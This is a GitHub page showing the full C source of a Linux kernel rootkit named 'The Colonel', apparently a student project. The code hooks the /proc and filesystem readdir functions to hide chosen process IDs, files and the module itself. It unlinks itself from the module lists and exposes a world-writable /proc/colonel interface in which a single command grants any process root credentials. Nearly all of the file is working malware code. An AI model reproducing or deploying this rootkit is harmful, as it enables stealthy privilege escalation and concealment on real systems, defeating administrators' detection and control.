-
Notifications
You must be signed in to change notification settings - Fork 22
/
Copy pathrootkit.c
298 lines (238 loc) · 9.64 KB
/
rootkit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/fs.h>
#include <linux/cred.h>
#include <linux/string.h>
#define MIN(a,b) \
({ typeof (a) _a = (a); \
typeof (b) _b = (b); \
_a < _b ? _a : _b; }) /* typesafe macro for retrieving the min value */
#define MAX_PIDS 50 /* the maximum number of hidden PIDs */
MODULE_LICENSE("GPL");
/* Declaring everything static confines all variables and functions to the module (rootkit) --
* i.e. no export to /proc/kallsyms making the rootkit harder to detect. */
/* STATIC VARIABLES */
static struct proc_dir_entry *proc_root;
static struct proc_dir_entry *proc_colonel;
/* The following variables save the original, soon to be replaced, pointers.
* They are restored during the module unload. Names are self-explanatory. */
static int (*og_proc_readdir)(struct file *, void *, filldir_t);
static int (*og_fs_readdir)(struct file *, void *, filldir_t);
static filldir_t og_proc_filldir;
static filldir_t og_fs_filldir;
static struct file_operations *proc_fops;
static struct file_operations *fs_fops;
/* pointer to the module entry that is above the rootkit in /proc/modules (modules list)
* and /sys/module (kobject) -- acts as a placeholder for where to place the rootkit entry when shown*/
static struct list_head *prev_module;
static struct list_head *prev_kobj_module;
/* array used for hiding PIDs and their positions */
static char hidden_pids[MAX_PIDS][8];
static int current_pid = 0;
/* switches for turning on/off the keylogger, and hiding files and the module */
static char key_logger = 0;
static char hidden_files = 1;
static char hidden_module = 0;
/* module status array -- stores info to be printed to /proc/colonel */
static char module_status[1024];
/* MODULE FUNCTIONS */
void hide_module(void) {
if (hidden_module) { /* if already hidden, return with no error */
return;
}
prev_module = THIS_MODULE->list.prev; /* stores rootkit entry */
list_del(&THIS_MODULE->list); /* removes rootkit entry from modules list */
prev_kobj_module = THIS_MODULE->mkobj.kobj.entry.prev; /* stores kobject */
kobject_del(&THIS_MODULE->mkobj.kobj); /* removes kobjects */
list_del(&THIS_MODULE->mkobj.kobj.entry);
hidden_module = !hidden_module; /* sets the module switch to 1 */
}
void show_module(void) {
int restore;
if (!hidden_module) { /* if already showing (0), return with no error */
return;
}
list_add(&THIS_MODULE->list, prev_module); /* restores module entry */
restore = kobject_add(&THIS_MODULE->mkobj.kobj, /* restores kobject */
THIS_MODULE->mkobj.kobj.parent, "col");
hidden_module = !hidden_module; /* sets module switch to 0*/
}
/* PAGE READ/WRITE FUNCTIONS */
/* Allows the modification of memory page attributes. This will enable the passing of modified functions. */
static void set_addr_rw(void *addr) {
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level); /* get what page the address is on */
if (pte->pte &~ _PAGE_RW) {
pte->pte |= _PAGE_RW; /* set page read/write */
}
}
static void set_addr_ro(void *addr) { /* resets to original permissions */
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
pte->pte = pte->pte &~_PAGE_RW;
}
/* THE CUSTOM SHOP */
/* Where the classics get a fresh look */
static int new_proc_filldir(void *buf, const char *name, int namelen, loff_t offset,
u64 ino, unsigned d_type) {
int i;
for (i=0; i < current_pid; i++) {
if (!strcmp(name, hidden_pids[i])) {
return 0; /* ensures any matches to hidden PIDs aren't shown */
}
}
if (!strcmp(name, "colonel")) {
return 0; /* ensures any matches to rootkit aren't shown */
}
return og_proc_filldir(buf, name, namelen, offset, ino, d_type); /* invokes the original */
}
static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir) {
og_proc_filldir = filldir; /* stores the original filldir */
return og_proc_readdir(filp, dirent, new_proc_filldir); /* passes the modified function */
}
static int new_fs_filldir(void *buf, const char *name, int namelen, loff_t offset,
u64 ino, unsigned d_type) {
if (hidden_files && (!strncmp(name, "__col", 5) || !strncmp(name, "7-__col", 7))) { /* hides the file if prefix matches */
return 0;
}
return og_fs_filldir(buf, name, namelen, offset, ino, d_type); /* invokes the original */
}
static int new_fs_readdir(struct file *filp, void *dirent, filldir_t filldir) {
og_fs_filldir = filldir; /* comparable to the /proc version */
return og_fs_readdir(filp, dirent, new_fs_filldir);
}
/* read_colonel and write_colonel follow typical read/write kernel conventions, defined from the user p.o.v --
* read_colonel writes to /proc/colonel and write_colonel reads from /proc/colonel */
static int read_colonel(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data) {
int size;
sprintf(module_status,
"THE COLONEL--------------------------------------\n\
+ hides files prefixed with __col or 7-__col\n\
+ gives root access\n\n\
USAGE:\n\
From command line --\n\
$ echo -n <command> >> /proc/colonel\n\n\
From rtcmd --\n\
$ ./rtcmd <command>\n\n\
To get root access --\n\
$ ./rtcmd hackbright /bin/bash\n\n\
COMMANDS:\n\
hackbright - uid and gid 0 for writing process\n\
listen - toggles keylogger listening on/off\n\
keylog -- print keyboard input log; keylogger is set to 0\n\
hpXXXX - hides process id XXXX\n\
sp - shows last hidden process\n\
thf - toggles hidden files\n\
mh - hide module\n\
ms - show module\n\n\
STATUS-------------------------------------------\n\
keylogger: %d\n\
hidden files: %d\n\
hidden PIDs: %d\n\
hidden module: %d\n\
-----------------------------------------------\n", key_logger, hidden_files, current_pid, hidden_module);
size = strlen(module_status);
if (off >= size) { /* ensures the read function isn't continuously called */
return 0;
}
if (count >= size-off) {
memcpy(buffer, module_status+off, size-off);
} else {
memcpy(buffer, module_status+off, count);
}
return size-off; /* starts at given offset */
}
/* listens and processes commands written to /proc/colonel
* write_colonel uses strncmp to compare input to colonel commands */
static int write_colonel(struct file *file, const char __user *buff, unsigned long count, void *data) {
if (!strncmp(buff, "hackbright", MIN(10, count))) { /* become root */
struct cred *credentials = prepare_creds();
credentials->uid = credentials->euid = 0;
credentials->gid = credentials->egid = 0;
commit_creds(credentials);
} else if (!strncmp(buff, "hp", MIN(2, count))) { /* hides process id */
if (current_pid < MAX_PIDS) strncpy(hidden_pids[current_pid++], buff+2, MIN(7, count-2));
} else if (!strncmp(buff, "sp", MIN(2, count))) { /* shows last hidden process */
if (current_pid > 0) current_pid--;
} else if (!strncmp(buff, "listen", MIN(3, count))) { /* toggle keylogger on/off */
key_logger = !key_logger;
} else if (!strncmp(buff, "keylog", MIN(6, count))) { /* toggle keylogger on/off */
key_logger = 0;
} else if (!strncmp(buff, "thf", MIN(3, count))) { /* toggles hidden_files in fs */
hidden_files = !hidden_files;
} else if (!strncmp(buff, "mh", MIN(2, count))) { /* hide module (rootkit) */
hide_module();
} else if (!strncmp(buff, "ms", MIN(2, count))) { /* show module (rootkit) */
show_module();
}
return count;
}
/* CLEAN/INIT FUNCTIONS */
/* NULL checks for sanity */
static void clean_procfs(void) {
if (proc_colonel != NULL) {
remove_proc_entry("colonel", NULL); /* removes /proc/colonel */
proc_colonel = NULL;
}
if (proc_fops != NULL && og_proc_readdir != NULL) {
set_addr_rw(proc_fops);
proc_fops->readdir = og_proc_readdir; /* restores the original /proc readdir */
set_addr_ro(proc_fops);
}
}
static void clean_fs(void) {
if (fs_fops != NULL && og_fs_readdir != NULL) {
set_addr_rw(fs_fops);
fs_fops->readdir = og_fs_readdir; /* restore original fs_readdir */
set_addr_ro(fs_fops);
}
}
static int __init procfs_init(void) {
proc_colonel = create_proc_entry("colonel", 0666, NULL); /* creates /proc/colonel in /proc */
if (NULL == proc_colonel) {
return 0;
}
proc_root = proc_colonel->parent;
if (NULL == proc_root || strcmp(proc_root->name, "/proc") != 0) {
return 0;
}
proc_colonel->read_proc = read_colonel; /* sets custom read function */
proc_colonel->write_proc = write_colonel; /* sets custom write function */
proc_fops = ((struct file_operations *) proc_root->proc_fops);
og_proc_readdir = proc_fops->readdir;
set_addr_rw(proc_fops);
proc_fops->readdir = new_proc_readdir; /* passes custom readdir -- hides module and PIDs */
set_addr_ro(proc_fops);
return 1;
}
static int __init fs_init(void) {
struct file *etc_filp;
etc_filp = filp_open("/etc", O_RDONLY, 0); /* retrieves file_operations of /etc */
if (NULL == etc_filp) {
return 0;
}
fs_fops = (struct file_operations *) etc_filp->f_op;
filp_close(etc_filp, NULL);
og_fs_readdir = fs_fops->readdir;
set_addr_rw(fs_fops);
fs_fops->readdir = new_fs_readdir; /* passes custom readdir -- hides files with specified prefixes */
set_addr_ro(fs_fops);
return 1;
}
/* MODULE INIT/EXIT */
static int __init rootkit_init(void) {
if (!procfs_init() || !fs_init()) {
clean_procfs();
clean_fs();
return 1;
}
hide_module();
return 0;
}
static void __exit rootkit_exit(void) {
clean_procfs();
clean_fs();
}
module_init(rootkit_init);
module_exit(rootkit_exit);